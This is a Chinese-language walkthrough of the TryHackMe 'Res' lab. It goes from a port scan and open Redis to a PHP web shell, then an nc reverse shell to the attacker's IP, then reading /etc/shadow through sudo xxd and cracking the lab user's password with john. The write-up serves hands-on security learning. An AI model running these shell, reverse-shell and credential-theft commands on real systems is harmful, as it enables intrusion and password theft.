【THM】Res-Practice

本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/res

Difficulty: Easy

端口扫描

1
nmap -p- -sC -sV -T4 10.10.253.248
1
2
3
4
5
6
7
8
Nmap scan report for 10.10.253.248
Host is up (0.19s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
6379/tcp open redis Redis key-value store 6.0.7

访问80端口是

image-20231218100422065

查看源代码,我们看不到任何隐藏的内容。我使用 Dirsearch 运行目录扫描,看看是否能找到任何隐藏的目录。不幸的是,找不到隐藏的目录。是时候转到端口 6379 并枚举 Redis 了

Exploit

1
2
redis-cli -h $IP
redis-cli -h 10.10.253.248

默认情况下,无需凭据即可访问 Redis。但是,它可以配置为仅支持密码或用户名 + 密码。在我们的例子中,无需任何凭据即可访问 Redis。我们只需输入“info”命令即可检查这一点

image-20231218101037167

从上面我们可以看出我们有一个潜在的用户名:vianka。从 Hack Tricks 网站上,我们可以看到我们可以按如下方式获得 RCE

通过标题,我们知道是ngnix服务器将其html数据存储在/var/www/html上

image-20231218101402193

image-20231218111432963

image-20231218101552318

1
2
http://$IP/shell.php?cmd=id
http://10.10.253.248//shell.php?cmd=id

image-20231218101643099

it works

这台机器确实有nc。因此,让我们使用它在端口 9001 上连接回我们。

image-20231218101812937

1
http://10.10.253.248//shell.php?cmd=nc 10.11.63.201 9001 -e /bin/bash

image-20231218102023440

PrivEsc

image-20231218103536196

image-20231218103545660

1
2
LFILE=/etc/shadow
sudo xxd "$LFILE" | xxd -r

发现不行

image-20231218104036094

这个可以

image-20231218104201486

image-20231218104310775

image-20231218105110867

vianka:beautiful1

image-20231218105327138

ROOT

image-20231218105550985

她可以将 sudo 与任何命令一起使用

知识点

当我想再次爆破的时候发现

1
2
3
4
5
┌──(root㉿kali)-[~/Desktop]
└─# john pass --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
No password hashes left to crack (see FAQ)

网上一查

已经对该文件爆破过,则不会进行二次爆破,可以通过命令来查看已经爆破出来的密码。

1
2
3
4
5
┌──(root㉿kali)-[~/Desktop]
└─# john pass --show
vianka:beautiful1:18507:0:99999:7:::

1 password hash cracked, 0 left